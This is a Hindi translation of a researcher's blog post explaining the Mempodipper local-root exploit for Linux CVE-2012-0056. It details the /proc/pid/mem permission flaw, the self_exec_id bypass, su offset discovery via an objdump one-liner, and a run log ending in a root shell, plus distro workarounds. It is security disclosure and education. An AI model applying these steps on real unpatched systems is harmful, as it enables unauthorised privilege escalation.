
Linux विशेषाधिकार वृद्धि
मेमपॉडिपर का परिचय, CVE-2012-0056 के लिए एक शोषण। /proc/pid/mem एक इंटरफ़ेस है जो प्रक्रिया मेमोरी को सीधे पढ़ने और लिखने के लिए है, जिसमें प्रक्रिया के वर्चुअल मेमोरी स्पेस के समान पतों पर सीक किया जाता है। 2.6.39 में, /proc/pid/mem तक अनधिकृत पहुँच के विरुद्ध सुरक्षा को पर्याप्त माना गया, और इसलिए पिछला #ifdef जो मनमानी प्रक्रिया मेमोरी में लिखने के लिए राइट सपोर्ट को रोकता था, हटा दिया गया था। सही अनुमतियों वाला कोई भी व्यक्ति प्रक्रिया मेमोरी में लिख सकता था। बेशक, यह पता चला कि अनुमति जाँच खराब तरीके से की गई थी। इसका मतलब है कि सभी Linux कर्नेल >=2.6.39 असुरक्षित हैं, कुछ दिन पहले फिक्स कमिट तक। आइए पुराने कर्नेल कोड को चरण दर चरण लें और जानें कि इसमें क्या समस्या है।
जब /proc/pid/mem खोला जाता है, तो यह कर्नेल कोड कॉल किया जाता है:
static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
/* OK to pass negative loff_t, we can catch out-of-range */
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}
खोलने पर कोई प्रतिबंध नहीं हैं; कोई भी किसी भी प्रक्रिया के लिए /proc/pid/mem fd खोल सकता है (सामान्य VFS प्रतिबंधों के अधीन)। यह केवल मूल प्रक्रिया के self_exec_id का नोट करता है जिसके साथ इसे खोला गया था और इसे बाद में पढ़ने और लिखने के दौरान जाँच के लिए संग्रहीत करता है।
हालाँकि, लिखने (और पढ़ने) में अनुमति जाँच प्रतिबंध हैं। आइए राइट फ़ंक्शन पर एक नज़र डालें:
static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
/* unimportant code removed for blog post */
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
/* unimportant code removed for blog post */
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
/* unimportant code removed for blog post */
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;
/* unimportant code removed for blog post
* (the function here goes onto write the buffer into the memory)
*/
तो अनधिकृत लेखन को रोकने के लिए दो प्रासंगिक जाँचें हैं: check_mem_permission और self_exec_id। आइए पहले पहली और फिर दूसरी करते हैं।
check_mem_permission का कोड बस __check_mem_permission में कॉल करता है, तो उसका कोड यहाँ है:
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;
mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);
/*
* A task can always look at itself, in case it chooses
* to use system calls instead of load instructions.
*/
if (task == current)
return mm;
/*
* If current is actively ptrace'ing, and would also be
* permitted to freshly attach with ptrace now, permit it.
*/
if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
/*
* No one else is allowed.
*/
mmput(mm);
return ERR_PTR(-EPERM);
}
मेमोरी राइट के अधिकृत होने के दो तरीके हैं। या तो task == current, जिसका अर्थ है कि जिस प्रक्रिया में लिखा जा रहा है वह लिखने वाली प्रक्रिया है, या current (लिखने वाली प्रक्रिया) के पास task (जिस प्रक्रिया में लिखा जा रहा है) के साथ खेलने के लिए गूढ़ ptrace-स्तर की अनुमतियाँ हैं। हो सकता है आपको लगे कि आप ptrace कोड को चकमा दे सकते हैं? यह आकर्षक है। लेकिन मुझे नहीं पता। इसके बजाय, आइए पता लगाएँ कि हम कैसे एक प्रक्रिया को स्वयं मनमानी मेमोरी लिखने के लिए बना सकते हैं, ताकि task == current हो।
अब स्वाभाविक रूप से, हम suid प्रक्रियाओं की मेमोरी में लिखना चाहते हैं, क्योंकि तब हम रूट प्राप्त कर सकते हैं। इसे देखें:
$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy
su जो भी टेक्स्ट आप चाहते हैं, उसे "Unknown id:" से उपसर्गित करके stderr पर थूक देगा। तो, हम /proc/self/mem के लिए एक fd खोल सकते हैं, लिखने के लिए मेमोरी में सही स्थान पर lseek कर सकते हैं (इस पर बाद में और), stderr और mem fd को एक साथ जोड़ने के लिए dup2 का उपयोग कर सकते हैं, और फिर exec कर सकते हैं su $shellcode प्रक्रिया मेमोरी में शेल स्पॉनर लिखने के लिए, और फिर हमारे पास रूट है। सच में? इतना आसान नहीं।
यहाँ दूसरी बाधा आती है। task == current परीक्षण पास करने के बाद, यह जाँचता है कि वर्तमान self_exec_id उस self_exec_id से मेल खाता है जिसके साथ fd खोला गया था। self_exec_id आखिर है क्या? कर्नेल में इसका केवल कुछ स्थानों पर संदर्भ है। सबसे महत्वपूर्ण exec के अंदर होता है:
void setup_new_exec(struct linux_binprm * bprm)
{
/* massive amounts of code trimmed for the purpose of this blog post */
/* An exec changes our domain. We are no longer part of the thread
group */
current->self_exec_id++;
flush_signal_handlers(current, 0);
flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);
self_exec_id हर बार जब कोई प्रक्रिया exec करती है, बढ़ जाती है। तो इस मामले में, यह इस तरह काम करता है कि आप एक गैर-suid प्रक्रिया में fd नहीं खोल सकते, dup2 नहीं कर सकते, और फिर exec कर सकते हैं एक suid प्रक्रिया में... जो कि ठीक वही है जो हम ऊपर करने की कोशिश कर रहे थे। हमारे हमले को रोकने का काफी चालाक तरीका, है ना?
यहाँ इससे बचने का तरीका है। हम एक चाइल्ड को फोर्क करते हैं, और उस चाइल्ड के अंदर, हम एक नई प्रक्रिया में exec करते हैं। प्रारंभिक चाइल्ड फोर्क का self_exec_id उसके पैरेंट के बराबर होता है। जब हम एक नई प्रक्रिया में exec करते हैं, तो self_exec_id एक से बढ़ जाता है। इस बीच, पैरेंट स्वयं हमारे शेलकोड लिखने वाली su प्रक्रिया में exec करने में व्यस्त है, इसलिए इसका self_exec_id उसी मान पर बढ़ जाता है। तो हम जो करते हैं वह है - हम इस चाइल्ड को फोर्क करते हैं और एक नई प्रक्रिया में exec करते हैं, और उस नई प्रक्रिया के अंदर, हम अपनी प्रक्रिया के बजाय पैरेंट प्रक्रिया के pid का उपयोग करके /proc/parent-pid/mem के लिए एक fd खोलते हैं (जैसा कि पहले था)। हम इस तरह fd खोल सकते हैं क्योंकि एक साधारण खोलने के लिए कोई अनुमति जाँच नहीं है। जब इसे खोला जाता है, तो इसका self_exec_id पहले ही सही मान पर बढ़ चुका होता है जो पैरेंट का self_exec_id होगा जब हम su में exec करेंगे। तो अंत में, हम अपने खुले fd को चाइल्ड प्रक्रिया से पैरेंट प्रक्रिया को वापस पास करते हैं (कुछ बहुत ही ब्लैक यूनिक्स डोमेन सॉकेट मैजिक का उपयोग करके), अपना dup2 करते हैं, और शेल कोड के साथ su में exec करते हैं।
एक और आपत्ति बाकी है। हम कहाँ लिखें? हमें लिखने से पहले उचित मेमोरी स्थान पर lseek करना होगा, और ASLR प्रक्रिया पता स्थानों को यादृच्छिक करता है जिससे यह जानना असंभव हो जाता है कि कहाँ लिखना है। क्या हमें प्रक्रिया मेमोरी पढ़ने का तरीका निकालने के लिए और अधिक चतुराई पर समय बिताना चाहिए, और फिर एक खोज करनी चाहिए? नहीं। इसे देखें:
$ readelf -h /bin/su | grep Type
Type: EXEC (Executable file)
इसका मतलब है कि su में एक गैर-पुनःस्थापन योग्य .text अनुभाग है (अन्यथा यह "EXEC" के बजाय "DYN" उगलता)। यह पता चला है कि अधिकांश डिस्ट्रो पर su PIE के साथ संकलित नहीं है, जो बाइनरी के .text अनुभाग के लिए ASLR को अक्षम करता है! इसलिए हमने su को समझदारी से चुना है। मेमोरी में ऑफसेट हमेशा समान होंगे। तो लिखने के लिए सही स्थान खोजने के लिए, आइए "Unknown id: blabla" त्रुटि संदेश को प्रिंट करने के आसपास की असेंबली देखें।
यह त्रुटि स्ट्रिंग यहाँ प्राप्त करता है:
403677: ba 05 00 00 00 mov $0x5,%edx
40367c: be ff 64 40 00 mov $0x4064ff,%esi
403681: 31 ff xor %edi,%edi
403683: e8 e0 ed ff ff callq 402468 (dcgettext@plt)
और फिर इसे stderr पर लिखता है:
403688: 48 8b 3d 59 51 20 00 mov 0x205159(%rip),%rdi # 6087e8 (stderr)
40368f: 48 89 c2 mov %rax,%rdx
403692: b9 20 88 60 00 mov $0x608820,%ecx
403697: be 01 00 00 00 mov $0x1,%esi
40369c: 31 c0 xor %eax,%eax
40369e: e8 75 ea ff ff callq 402118 (__fprintf_chk@plt)
लॉग बंद करता है:
4036a3: e8 f0 eb ff ff callq 402298 (closelog@plt)
और फिर प्रोग्राम से बाहर निकलता है:
4036a8: bf 01 00 00 00 mov $0x1,%edi
4036ad: e8 c6 ea ff ff callq 402178 (exit@plt)
इसलिए हम 0x402178 का उपयोग करना चाहते हैं, जो कि यह कॉल करता है एग्ज़िट फ़ंक्शन है। हम एक सरल bash वन-लाइनर के साथ, शोषण में, exit@plt प्रतीक की खोज को स्वचालित कर सकते हैं:
$ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402178
तो स्वाभाविक रूप से, हम 0x402178 से स्ट्रिंग "Unknown id: " में अक्षरों की संख्या घटाकर लिखना चाहते हैं, ताकि हमारा शेलकोड बिल्कुल सही जगह पर रखा जाए।
शेलकोड सरल और मानक होना चाहिए। यह uid और gid को 0 पर सेट करता है और एक शेल में exec करता है। यदि हम चतुर बनना चाहते हैं, तो हम stderr को फिर से खोल सकते हैं, मेमोरी fd को stderr पर dup2 करने से पहले, हम stderr को डुप करने के लिए एक और fd चुनते हैं, और फिर शेलकोड में, हम उस दूसरे fd को dup2 करते हैं वापस stderr पर।
अंत में, शोषण पूर्ण विश्वसनीयता के साथ एक आकर्षक तरीके से काम करता है:
CVE-2012-0056 $ ls
build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#
आप इसे क्रियाशील देखने के लिए एक वीडियो देख सकते हैं।
Dan Rosenberg को उनकी निरंतर सलाह और समर्थन के लिए धन्यवाद। मैं वर्तमान में कोई स्रोत कोड जारी नहीं कर रहा हूँ, क्योंकि Linus ने बहुत हाल ही में इसे पैच किया है। एक जिम्मेदार समय बीत जाने के बाद या यदि कोई और पहले करता है, तो मैं प्रकाशित करूँगा। यदि आप एक छात्र हैं जो चीजों के बारे में सीखने की कोशिश कर रहे हैं या अन्य वैध कारण हैं, तो हम बात कर सकते हैं।
अपडेट: जाहिर है, इस ब्लॉग पोस्ट के आधार पर, विडंबना यह है कि कुछ अन्य लोगों ने शोषण बनाए और प्रकाशित किए। तो, यहाँ मेरा है। मैंने 32-बिट और 64-बिट के लिए शेलकोड हाथ से लिखा। आनंद लें!
अपडेट 2: जैसा कि पता चला है, Fedora बहुत उपयुक्त रूप से अपने su को PIE के साथ संकलित करता है, जो इस हमले को विफल करता है। दुर्भाग्य से, वे अपने सभी SUID बाइनरी को PIE के साथ संकलित नहीं करते हैं, और इसलिए यह हमला अभी भी संभव है, उदाहरण के लिए, gpasswd के साथ। ऐसा करने का कोड git रिपॉजिटरी की "fedora" शाखा में है, और एक वीडियो प्रदर्शन भी उपलब्ध है।
अपडेट 3: Gentoo SUID बाइनरी पर रीड अनुमतियों को हटाने के लिए पर्याप्त स्मार्ट है, जिससे objdump का उपयोग करके exit@plt ऑफसेट खोजना असंभव हो जाता है। मैंने ptrace का उपयोग करके ऐसा करने का एक और तरीका निर्धारित किया। Ptrace मेमोरी में किसी भी प्रोग्राम की डिबगिंग की अनुमति देता है। SUID प्रोग्राम के लिए, ptracing इसके विशेषाधिकार गिरा देगा, लेकिन यह ठीक है, क्योंकि हम केवल आंतरिक मेमोरी स्थान खोजना चाहते हैं। सही समय पर बाइनरी के ओपकोड को पार्स करके, हम त्रुटि संदेश मुद्रित करने के बाद अगली कॉल के लक्ष्य पते को समझ सकते हैं। मैंने एक स्टैंडअलोन उपयोगिता बनाई है जो ऑफसेट लौटाती है, साथ ही इसे मुख्य mempodipper स्रोत में एकीकृत किया है।
{हमेशा की तरह, यहाँ का कार्य पूर्णतः अकादमिक है, और अनुसंधान और शिक्षा से परे उपयोग के लिए अभिप्रेत नहीं है।}